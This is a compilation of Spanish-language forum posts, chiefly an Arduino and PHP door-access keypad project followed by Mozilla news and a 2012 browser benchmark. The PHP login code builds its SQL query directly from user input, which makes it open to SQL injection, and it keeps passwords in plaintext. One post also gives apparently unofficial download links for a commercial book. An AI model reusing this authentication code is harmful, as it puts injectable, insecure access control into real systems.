"</html>"; Serial.print("Content-Length: "); Serial.print(sr.length()); Serial.print("\r\n\r\n"); Serial.print(sr); } void software_Reset() { asm volatile (" jmp 0"); } Comentario del código: Incluimos las librerías necesarias para que todo funcione correctamente. Indicamos todos los pines necesarios. Iniciamos la comunicación a 57600 baudios. Apagamos todos los colores del led y encendemos el lcd. Le decimos al lcd que muestre en pantalla "ESPERANDO DATOS" y que el led parpadee en color azul cada medio segundo. Si se inicia la comunicación serial y ésta envía "aaa" (previamente enviada por la página php) el lcd imprime "Sin acceso. Código erroneo" y el led se pone en rojo fijo. Si la página php no envía ese carácter y envía otra cadena, ésta sera el nombre de usuario, que previamente ha sido confirmada desde la base de datos al meter el código, entonces la pantalla de lcd mostrará "Saludos (nombre del usuario)" y el led se pondrá en color verde fijo. Una vez recibida la información la placa Arduino mando unos comandos (página web) para que se vuelva a mostrar el teclado (mas abajo imagen). Tanto como si el código es bueno o erróneo, a los 5 segundos se resetea y vuelve a mostrar en pantalla "ESPERANDO DATOS" y el led de color azul parpadeante. Código pagina principal php: <html> <head> <title>teclado en pantalla</title> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <META name="robots" content="NOINDEX,NOFOLLOW"> <script language="JavaScript" type="text/javascript"> // Comprueba Navegador y Plataforma del pc var clientPC = navigator.userAgent.toLowerCase(); // Coge info cliente var clientVer = parseInt(navigator.appVersion); // Coge versión navegador var is_ie = ((clientPC.indexOf("msie") != -1) && (clientPC.indexOf("opera") == -1)); var is_nav = ((clientPC.indexOf('mozilla')!=-1) && (clientPC.indexOf('spoofer')==-1) && (clientPC.indexOf('compatible') == -1) && (clientPC.indexOf('opera')==-1) && (clientPC.indexOf('webtv')==-1) && (clientPC.indexOf('hotjava')==-1)); var is_moz = 0; var is_win = ((clientPC.indexOf("win")!=-1) || (clientPC.indexOf("16bit") != -1)); var is_mac = (clientPC.indexOf("mac")!=-1); function imprm(bot) { var txtarea = document.getElementById('ta'); var tecla = new Array('1','2','3','4','5','6','7','8','9','0'); txtarea.value+=tecla[bot]; txtarea.focus(); return; } function imprM(bot) { var txtarea = document.getElementById('ta'); var teclaM = new Array txtarea.value+=teclaM[bot]; txtarea.focus(); return; } var capa1 var capa2 var ns4 = (document.layers)? true:false var ie4 = (document.all)? true:false var ns6 = (document.getElementById)? true:false function teclado() { if (ns4) { capa1 = document.c1 capa2 = document.c2 } if (ie4) { capa1 = c1.style capa2 = c2.style } if (ns6) { capa1 = document.getElementById('c1').style capa2 = document.getElementById('c2').style } } function muestra(obj) { if (ns4) obj.visibility = "show" else if (ie4) obj.visibility = "visible" else if (ns6) obj.visibility = "visible" } function oculta(obj) { if (ns4) obj.visibility = "hide" else if (ie4) obj.visibility = "hidden" else if (ns6) obj.visibility = "hidden" } function borrar() { var txtarea = document.getElementById('ta'); if ((clientVer >= 4) && is_ie && is_win) { var txtSeleccion = document.selection.createRange().text; if (document.selection) { if (!txtSeleccion) { txtarea.focus(); var Sel = document.selection.createRange(); Sel.moveStart ('character', -txtarea.value.length); curPos = Sel.text.length; txtarea.value=txtarea.value.substr(0,txtarea.value.length-1); return(curPos); } txtarea.focus(); var Sel = document.selection.createRange(); document.selection.createRange().text = ""; Sel.moveStart ('character', -txtarea.value.length); curPos = Sel.text.length; return(curPos); } } else if (txtarea.selectionEnd && (txtarea.selectionEnd - txtarea.selectionStart > 0)) { var selLargo = txtarea.textLength; var selEmpz = txtarea.selectionStart; var selFin = txtarea.selectionEnd; var s1 = (txtarea.value).substring(0,selEmpz); var s2 = (txtarea.value).substring(selFin, selLargo); txtarea.value = s1 + s2; return(selEmpz); } else { var selLargo = txtarea.textLength; txtarea.value = txtarea.value.substr(0,txtarea.value.length-1); var Cursor = txtarea.textLength; return(Cursor); } almznaCursor(txtarea); } function almznaCursor(textEl) { if (textEl.createTextRange) textEl.caretPos = document.selection.createRange().duplicate(); } function PosicionCursor(pos) { var txtarea = document.getElementById('ta'); //Firefox if (txtarea .setSelectionRange) { txtarea .focus(); txtarea .setSelectionRange(pos,pos); } else if (txtarea .createTextRange) { var rango = txtarea .createTextRange(); rango.collapse(true); rango.moveEnd('character', pos); rango.moveStart('character', pos); rango.select(); } } function EliminarCaracter() { PosicionCursor(borrar()); } </script> <style type="text/css"> #juan { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); } #andres { position: absolute; left: 50%; top: 70%; transform: translate(-50%, -70%); -webkit-transform: translate(-50%, -70%); } </style> </head> <body onLoad="teclado();"> <div id="juan"> <form method="POST" action=""> <input type="password" id="ta" name="pepe" size="9"><br><br> <div id="c1"> <input type="button" id="1" value="1" onclick="imprm(0);" /> <input type="button" id="2" value="2" onclick="imprm(1);" /> <input type="button" id="3" value="3" onclick="imprm(2);" /><br> <input type="button" id="4" value="4" onclick="imprm(3);" /> <input type="button" id="5" value="5" onclick="imprm(4);" /> <input type="button" id="6" value="6" onclick="imprm(5);" /><br> <input type="button" id="7" value="7" onclick="imprm(6);" /> <input type="button" id="8" value="8" onclick="imprm(7);" /> <input type="button" id="9" value="9" onclick="imprm(8);" /><br> <input type="button" id="10" value="0" onclick="imprm(9);" /> <input type="button" id="eliminar_caracter" value="Borrar" onclick="EliminarCaracter()" style="width:58px; height:20px; text-align:center; font-size:10px;" /> <br><br><input type="submit" id="60" value="ENVIAR" style="width:90px; height:20px; text-align:center; font-size:10px;"/> </div> </form> </div> <div id="andres"> <? $password = $_POST['pepe']; if(!isset($password)) { echo ""; } else { include("conex.php"); $cons = "select * from usuarios where contraseña='$password'"; $datos = mysql_query($cons,$link); if ($row = mysql_fetch_array($datos,1)) { ?> <SCRIPT LANGUAGE="JavaScript"> window.onload = function() { alert("Enhorabuena <? echo $row["usuario"]; ?>. Tu código es correcto"); }; </SCRIPT> <form name='acceso' action='http://192.168.1.254:8080/mensaje' method='GET'> <input type='hidden' name='f' value= '<? echo $row["usuario"]; ?>'> </form> <SCRIPT LANGUAGE="JavaScript">window.setTimeout(function() { document.acceso.submit(); });</SCRIPT> <? } else { ?> <SCRIPT LANGUAGE="JavaScript"> window.onload = function() { alert("El código de acceso no es correcto."); }; </SCRIPT> <form name='acceso' action='http://192.168.1.254:8080/mensaje' method='GET'> <input type='hidden' name='f' value='aaa'> </form> <SCRIPT LANGUAGE="JavaScript">window.setTimeout(function() { document.acceso.submit(); });</SCRIPT> <? } } ?> </div> </body> </html> Comentario del código: Se crea un teclado numérico para introducir el código de acceso. Compara ese código en la base de datos. Si existe ese código envía a la placa Arduino el usuario asociado a ese código, mostrando en un alert "Enhorabuena (usuario) tu código es correcto" Si no existe ese código envía a la placa Arduino la cadena aaa , mostrando en un alert "El código de acceso no es correcto". Código pagina conex.php: <? $link = mysql_connect("localhost" ,"usuario","contraseña") or die("no se da conectado"); mysql_select_db("acceso",$link) or die("no se da seleccionado"); ?> Este código no necesita comentario. En relación a la base de datos... se deberá crear una con el nombre "acceso", con una única tabla llamada "usuarios" compuesta por tres campos "id" "usuario" y "contraseña". Bueno ya está... espero que le sirva a alguien.... Saludos
  5. Pro Performance HTML5 ofrece una guía práctica para la construcción de sitios web extremadamente rápido, ligero y totalmente escalable utilizando técnicas compatibles con las normas y mejores prácticas. Establece un equilibrio entre impartiendo las mejores prácticas de información para cuando usted está construyendo cimientos y técnicas aplicables al instante para ayudar a resolver problemas con los proyectos existentes. Además de una gran cantidad de consejos, trucos y secretos encontrarás consejos y ejemplos de código que elegante diseño de su frente a los problemas y las mejores maneras de resolverlos. Al leer Performance HTML5 Pro podrás exprimir hasta ounch último de rendimiento de su código, dando a sus aplicaciones sin igual velocidad y eficiencia de costes. Lo que vas a aprender Optimice su HTML5, CSS y Javascript para la ejecución del lado del cliente Reducir el ancho de banda de su código para lograr tanto el ahorro de velocidad y costo Aprender a dirigir varios dispositivos desde la misma página Vea como su contenido HTML5 pueden degradar con gracia a los navegadores antiguos Crear aplicaciones avanzadas, tales como animaciones, con una huella de luz Hacer el trabajo de marcado semántico HTML5 para ti. Descarga https://docs.google.com/open?id=0B1iyZaHiAMfFZFVoSUUyMmU4REU Google drive: https://docs.google.com/file/d/0B4FF12HzhOl4OE9YVWtlSnYxX2M/edit?usp=sharing Box: https://app.box.com/s/gnvc9nvkb67co09fdm46 Mirror 1fichier http://otodxe.1fichier.com/
  6. Como viene siendo habitual, Mozilla nos trae una nueva versión de su navegador, que en esta ocasión algunas novedades muy interesantes. Mejoras para el protocolo de comunicación en tiempo real WebRTC Soporte para OpenH264 Mejora de la búsqueda desde la barra de direcciones Cadenas JavaScript más ligeras y rápidas Se añaden sugerencias de búsqueda en la página de inicio de Firefox y al abrir una nueva pestaña Soporte para conexión a proxies Http mediante Https Mejora en la fiabilidad de la restauración de sesión Se añade traducción al azerbaiyaní Para conocer el resto de novedades podemos consultar las notas de lanzamiento y, por supuesto, descargarlo desde la página oficial de Mozilla Firefox, aunque en nuestro caso vale más esperar a que los paquetes se actualicen por la vía habitual
  7. Una vez más y para seguir facilitando y fomentando el desarrollo de aplicaciones para el sistema operativo móvil Firefox OS, la gente de Mozilla ha desarrollado Firefox APP Manager que hará la vida más fácil a los desarrolladores que apuesten o estén interesados por la plataforma del Panda Rojo Con Firefox App Manager será más fácil para los desarrolladores crear y depurar aplicaciones Firefox OS en el simulador y en un dispositivo conectado a un ordenador. Firefox OS App Manager sustituye al antiguo escritorio del simulador para proporcionar una depuración integrada y un entorno de despliegue para el desarrollo de aplicaciones en Firefox OS. Aunque aún en estado preliminar, se espera que esté disponible de manera estable para la llegada de Firefox 26 y Firefox OS 1.2 a finales de este mismo año, aunque ya podemos probar estas nuevas herramientas utilizando las versiones preliminares de los dos anteriores. https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Using_the_App_Manager
  8. Turbulenz es un motor de juegos HTML5 con soporte para contenido 2D y 3D mediante WebGL y Javascript, con lo cual, cualquier navegador con soporte WebGL será capaz de utilizarlo, independientemente del sistema operativo en el que nos encontremos En el siguiente ejemplo, podemos ver como Turbulenz es capaz de mover Quake 4 con Fluidez . https://www.youtube.com/watch?v=AJg_BmY9-8o Para todo aquel que quiera echar un vistazo al código de este motor, puede hacerlo en Github https://github.com/turbulenz/turbulenz_engine news.turbulenz.com/post/49430669886/turbulenz-engine-goes-open-source
  9. Primero fue el Unigine engine y ahora, los desarrolladores de Mozilla se han atrevido con el Unreal Engine 3, el motor gráfico de Epic Games, que ha sido rediseñado para que pueda funcionar en cualquier navegador web haciendo uso de javascript. El nuevo motor sería capaz de navegar en cualquier navegador moderno con un buen soporte Html 5 y WebGL Este port fue llevado a cabo en apenas 4 días gracias a mscripten y asm.js. Además de todo esto, las desarrolladores de la fundación han admitido estar trabajando en otros proyectos similares colaborando con otras compañías como Disney y Electronic Arts https://blog.mozilla.org/luke/2013/03/21/asm-js-in-firefox-nightly/
  10. Mozilla labs sigue trayéndonos proyectos muy interesantes. En esta ocasión, es el turno de TowTruck TowTruck es un sistema para colaboración web, implementado totalmente en javascript y que permite a desarrolladores situados en zonas geográficas diferentes, poder trabajar en la misma página web al mismo tiempo, contando con chat y chat de voz en tiempo real. Para realizar la conexión, basta con añadir el "botón TowTruck" (un par de líneas en javascript) a la página en la que se vaya a trabajar. Al pulsar dicho botón, se obtendrá un link Towtruck que daremos a la persona con la que vamos a colaborar y que le dará acceso para comenzar la sesión de trabajo. Un servidor en segundo plano Node.js será utilizado para intercambiar mensajes entre los clientes. Esos mensajes incluyen clicks, la posición del cursor y cualquier cambio que se realice en la página para que todos los participantes puedan seguir el ritmo de la sesión. El código fuente se puede encontrar en GitHub bajo licencia MPL 2.0. Debemos recordar que este proyecto aún se encuentra en estado experimental, por lo que puede presentar aún algunos fallos.. También está disponible en forma de extensión para Firefox desde la web de Mozilla: TowTruck. https://mozillalabs.com/en-US/towtruck/
  11. ACTISKU, en colaboración con Mozilla y Unigine ha portado con éxito el benchmark Sanctuary de la compañía Rusa para que pueda correr en cualquier navegador que soporte WebGL. Esto ha sido posible gracias a la herramienta libre Emscripten desarrollada por Mozilla que permite compilar código C/C++ a javascript para ser ejecutado por un navegador web. La primera demostración que se hizo de esta tecnología fue BananaBread, que utilizaba el motor Cube 2 Sauerbraten y nos permitía jugar a un shooter enel navegador sin necesidad de plugins o aplicaciones externas. Anthony Liot, de ACTISKU, creador de soluciones de Marketing 3D en tiempo real, se interesó esta tecnología y con la idea de traer una nueva experiencia 3D a los navegadores se puso en contacto con Mozilla y se embarcó en la tarea de portar uno de los Benchmarcks de Unigine. Los primeros resultados de este trabajo se reflejan en este primer demo llamado Crypt, un port del Unigine Sanctuary que podemos ejecutar directamente en nuestro navegador. http://crypt-webgl.unigine.com/ https://blog.mozilla...ith-no-plugins/
  12. En un anuncio oficial, la gente de Mozilla ha anunciado que estan trabajando en un proyecto llamado Shumway, el cual tiene como meta ofrecer una alternativa definitiva open-source al plugin de Adobe, Flash Player. Según podemos apreciar en el anuncio oficial, Shumway tiene dos objetivos principales: Avanzar sobre una plataforma web abierta que asegure procesar formatos webs enriquecidos y que actualmente sólo puede hacerse mediante implementaciones privativas. Ofrecer un procesador de tiempo de ejecución para SWF y archivos webs enriquecidos en las plataformas que actualmente no están soportadas por implementaciones privativas. También indican que Shumway es una gran oportunidad para aquellas personas entusiastas que deseen contribuir a que los formatos enriquecidos como SWF avancen de una manera totalmente abierta. De hecho, Mozilla indica que hay cinco áreas específicas en las cuales se necesita trabajar a fondo: Nucleo – Este incluye el analizador de formato principal de archivos, el rasterizador y los eventos del sistema. AVM1 – El interprete Javascript para las versiones 1 y 2 de ActionScript AVM2 – El interprete Javascript y compilador JIT para la versión 3 de ActionScritp. Integración – entre el navegador web y los tiempos de ejecución de Shumway Pruebas y demostraciones – añadir buenas demostraciones y archivos/enlaces de prueba para Shumway Para los que simplemente deseen ver cómo funciona y aunque aún Shumway está “en pañales”, Mozilla nos invita a probar su funcionamiento a través de esta extensión (Necesario Firefox 18 o superior) aunque nos advierten de que aún está en fase muy experimental por lo que carece de algunas características y puede presenta bastantes fallos. También han preparado una serie de demos técnicas para que podamos ver cómo funciona sin tener que instalar nada Shumway demos Las personas que deseen colaborar con este nuevo proyecto, cuentan con el canal IRC #Shumway, la lista de correo y pueden obtener el código fuente desde GitHub código fuente. La wiki con toda la información sobre este nuevo proyecto la encontrarán Shumway wiki https://blog.mozilla...untime-project/
  13. Una vez más, tras un largo parón, ponemos a prueba los navegadores más populares de la actualidad para ir viendo cómo se comportan y cómo van evolucionando con el tiempo. En esta ocasión, he reducido el número de navegadores a prueba y cambiado un poco "las reglas de juego", hay test que solía utilizar que ya no son válidos y otros que han sido modificados para adaptarse a los nuevos tiempos, así que hay que tenerlo en cuenta en caso de querer comparar con resultados obtenidos anteriormente. Navegadores puestos a prueba: Firefox 13.0.1 Iceweasel 14 Beta11 Google Chrome 20.1132.47 Chromium 20.1132.43 Opera 12.00-1467 Pruebas realizadas Pruebas de consumo: Consumo de ram inicial Consumo de ram con 5 pestañas abiertas Consumo de ram con 10 pestañas abiertas Pruebas de rendimiento javascript : Sunspider V8 benchmark Kraken benchmark Pruebas de rendimiento gráfico y WebGL: Webvizbench Asteroids Benchmark Khronos WebGL Test Otros Tests: PeaceKeeper Html5test Browser Security Test Tiempo de carga de distintas webs: Google Facebook Debian.org Phoronix.com Equipo de pruebas Procesador: Intel I5-2400 3.1GHz Placa base: Gigabyte H67MA-UD2H-B3 Memoria: 8GB G.Skill ddr3 1600 Mhz Tarjeta gráfica: Nvidia GTX 560 Ti Disco duro: WD Caviar black sata3 500GB Distribución: GNU/Linux Debian Testing/Sid Kernel: Linux 3.4.4 Pruebas de consumo Consumo inicial de Ram La mayoría de las veces escuchamos, "tal navegador es más ligero", "tal otro consume mucho", "la memoria ram esto", "la memoria ram lo otro". Lo cierto es que casi todas las cosas que se dicen por ahí son falsas, o se tergiversan según conviene. La realidad es que Chrome/Chromium es el navegador que más consume, con diferencia. Esto se debe a que este navegador separa todo en procesos independientes. Cada pestaña abierta es como si abriéramos un nuevo navegador. Este sistema, tiene como ventaja que si en un momento dado el navegador sufre un problema, el único proceso que se verá afectado será el que corresponde a la pestaña problemática. La desventaja es la que ya hemos dicho, un consumo mucho más elevado por parte del navegador. EL resto de navegadores agrupan todo en un número concreto de procesos, por lo que su consumo es mucho menor. La desventaja es que en caso de fallo, una pestaña problemática puede afectar al resto. Consumo de Ram con 5 Pestañas abiertas Cuantas más pestañas abrimos más evidente se hace la diferencia y mientras Opera y los navegadores de Mozilla se mantienen con un consumo "moderado", el consumo de Chromium/chrome se dispara, aunque un poco menos en el caso de Chromium. Consumo de Ram con 10 Pestañas abiertas Ahora la diferencia entre Chromium y Chrome se hace aún más evidente y si continuáramos abriendo pestañas se alejarían cada vez más. En cuanto al resto de competidores, está claro que el más ligero es Firefox, seguido de Opera y en tercer lugar Iceweasel, moviéndose los 3 más o menos en la misma franja de valores. Se puede apreciar también una diferencia de consumo notable entre Iceweasel y Firefox, como la que ocurre entre Chromium y Chrome, pero recordemos que en este caso uno de ellos es la versión final y el otro la beta, así que que no podemos estar seguros de a qué es debido el aumento de consumo. Pruebas de rendimiento javascript Sunspider Chromium/Chrome recuperan el primer puesto que habían perdido anteriormente ante Firefox/Iceweasel y continúa el tira y afloja entre estos dos. Opera sigue a su ritmo y no entra en batalla, aunqe no hace un mal papel ni mucho menos. V8 benchmark Hay que tener en cuenta, que este test está diseñado por Google para el motor V8, con lo cual, quien "juega en casa" sale con ventaja. El ganador indiscutible de este benchmark sigue siendo Chromium/Chrome , pero parece que los de Mozilla se les van acercando, aunque aún están bastante lejos. Kraken Benchmark En anteriores pruebas, Chromium/Chrome pasó de ser el peor con diferencia en esta prueba a ocupar los puestos de cabeza, que aún conserva a día de hoy. Opera sigue sin ser rival para los otros dos en esta prueba y Mozilla mantiene un buen puesto aunque algo alejado del primero. Pruebas de rendimiento gráfico y WebGL Webvizbench Si en las pruebas de javascript, el rey era Chromium/chrome, en cuanto a rendimiento gráfico es Mozilla quien se lleva el gato al agua. La versión actual de Firefox es más capaz que Chromium/Chrome en cuestiones gráfica y según se puede apreciar en la beta de Iceweasel, en futuras versiones mejorará aún más. En cuestiones gráficas Opera sigue teniendo mucha tarea pendiente, aunque parece que va avanzando a buen ritmo. Asteroids Benchmark Contrariamente a lo sucedido con webvizbench, en este test tanto Firefox/iceweasel como Chrome/chromium se mantienen más o menos al mismo nivel. Opera sigue sin poder seguirles el ritmo a los otros. Khronos WebGL Test El resultado de este Benchmark es cuanto menos "curioso". Si bien a simple vista podríamos decir, que la diferencia entre Firefox/Iceweasel y Chromium es apenas un 1%, ni Chrome ni Opera han sido capaces de pasar esta prueba. En el caso de Opera, aunque recientemente han empezado a trabajar con WebGL aún no está lo suficientemente maduro y no ha podido ni empezar la prueba, tan sólo ha mostrado un error de compatibilidad. El caso de Chrome es más extraño, pues siendo el Fork de Chromium debería pasar la prueba con resultados idénticos o muy similares, pero en lugar de eso, el navegador acaba fallando y cerrando la pestaña del test. He realizado la prueba varias veces y de distintas maneras y todas ellas han acabado en desastre, en ningún caso Chrome ha podido terminar la prueba, por lo que está claro que hay "algo" que Google ha añadido/quitado/modificado en Chrome que no le ha sentado nada bien. Otros Tests PeaceKeeper Como siempre, Chromium/Chrome sigue intratable en este Test en el que Firefox/Iceweasel siguen sin destacar. Html5test Características HTML5, un test que hay que coger con pinzas. Este test es bastante simple, se listan las características html5 que debería soportar actualmente un navagador y en función de hasta que punto estén soportadas por el navegador que estemos probando, se obtiene una puntuación. El problema que surge con este test es que hay ciertas características Html5 que son privativas y/o de pago, por lo que no todos los navegadores están dispuestos a implementarlas o no son capaces de asumir el desembolso económico que eso supone. Aún con todo, está claro que Chrome/Chromium son los que mejor puntúan aquí y Opera soprende en esta ocasión, pasando de ser el peor con diferencia a estar en los puestos de cabeza, por encima de Firefox/Iceweasel. Sin embargo, se observa un "problema" al comparar Chrome y Chromium y es que su puntuación es idéntica. Sabemos que, al contrario que Chrome, Chromium no incluye plugins privativos o da soporte a estándares cerrados, por lo que tendría que puntuar menos que Chrome. Eso me lleva a pensar que o bien Chrome ha dejado de lado ciertas Tecnologías o que se han incluido cosas en Chromium no muy deseables. Tendré que comprobar de nuevo este test punto por punto a ver qué descubro. Actualización: Al pasar el html5test Chromium "da positivo" para todas esas cosas que no deberían estar ahí, h.264, Mp3, Acc.... Sólo he echado un vistazo por encima, no sé si se debe a un falso positivo o que realmente se han incluido, pero está claro que hay algo raro. Browser Security Test Este test comprueba si el navegador cuenta con ciertas características de seguridad, no la seguridad en sí, ojo con eso, y en función de si son soportadas o no se obtiene una puntuación, que va de 0 a 17 (son 17 características, la que está soportada suma un punto, la que no, no suma). No es un test que represente gran cosa, lo he puesto más que nada por petición popular. Tiempo de carga de distintas webs Bueno....creo que este test, que aunque no pueda realizarse de forma correcta, pues cada web es un mundo y imposible probar todas y cada una de las direcciones de internet para sacar la media, sí que suele resultar interesante, si no el más interesante a la hora de realizar pruebas con un navegador. No creo que haya mucho que decir. En esta ocasión, Debian.org, Facebook y Phoronix cargan más rápido (con diferencia) en los navegadores de Mozilla, mientras que Google, curiosamente, tarda más en cargar en Chrome que en el resto, siendo Opera el más rápido. CONCLUSIONES Se acabó la parte objetiva de las pruebas y ahora empieza la parte en la que yo me dejo llevar y empiezo a decir tonterías. Empezaré diciendo que todo esto son simplemente Tests, no obtendremos los mismos resultados en todos los equipos ni podremos comprobar todos y cada uno de los casos posibles que pueden darse, por lo que esto sólo sirve para hacerse una idea de cómo son las cosas, no pueden ser tomados, ni mucho menos, como "la verdad absoluta". Ahora quiero recalcar una cosa, que ya dijeron hace tiempo algunos desarrolladores y que tras 5 o 6 pruebas de este tipo he podido constatar. Alguien dijo una vez, que existen diferentes maneras de desarrollar un navegador y o bien puedes centrarte en que puntúe muy bien en test sintéticos y luego a la hora de la verdad pueda pasar cualquier cosa u olvidar los test sintéticos y mejorar el navegador de verdad. En las pruebas anteriores y en otras ocasiones, hemos visto como navegadores que obtienen unas altas puntuaciones en los tests, luego a la hora de la verdad no hacen gala de esa supuesta superioridad. En este caso vemos como Chrome y Opera sacan altísimas notas en cuanto a compatibilidad Html5, Peacemaker y demás y luego no han podido pasar las pruebas de WebGL y en las pruebas de rendimiento gráfico no han estado por encima de navegadores que han puntuado mucho menos en las pruebas sintéticas. De la misma forma se ve que Opera, a pesar de ser el que peor puntúa en los test de Javascrit, es más rápido que Chrome/chromium a la hora de cargar distintas webs, aunque se supone que los anteriores son "los más rápidos". Personalmente, por lo visto aquí y por otros motivos, desaconsejo totalmente el uso de Google Chrome como navegador. Si bien cuenta con una serie de "extras" que Chromium no lleva, estos no han demostrado ser una ventaja a la hora de navegar, sino todo lo contrario. Entre los restantes, Firefox es el "todoterreno", el más versatil, el que se adapta a todo, pero sin dejar de ser rápido. Chromium, muy rápido, pero poco versátil, está pensado para una navegación "simple y veloz", no para hacer de todo. El caso de Opera es, sin duda, el más "especial", pues es un navegador que siempre ha ido a su aire. A día de hoy tiene pendiente ponerse al día en muchos aspectos en los que se ha quedado atrás, pero no por ello deja de ser un navegador rápido y con una serie de características propias que no han sido igualadas por nadie. No obstante, su carácter privativo y sus idas y venidas con los estándares me llevan a no incluirlo entre los aconsejados. En resumen, versátil y todoterreno, Firefox (y derivados), simple y rápido, Chromium(Y derivados LIBRES).
×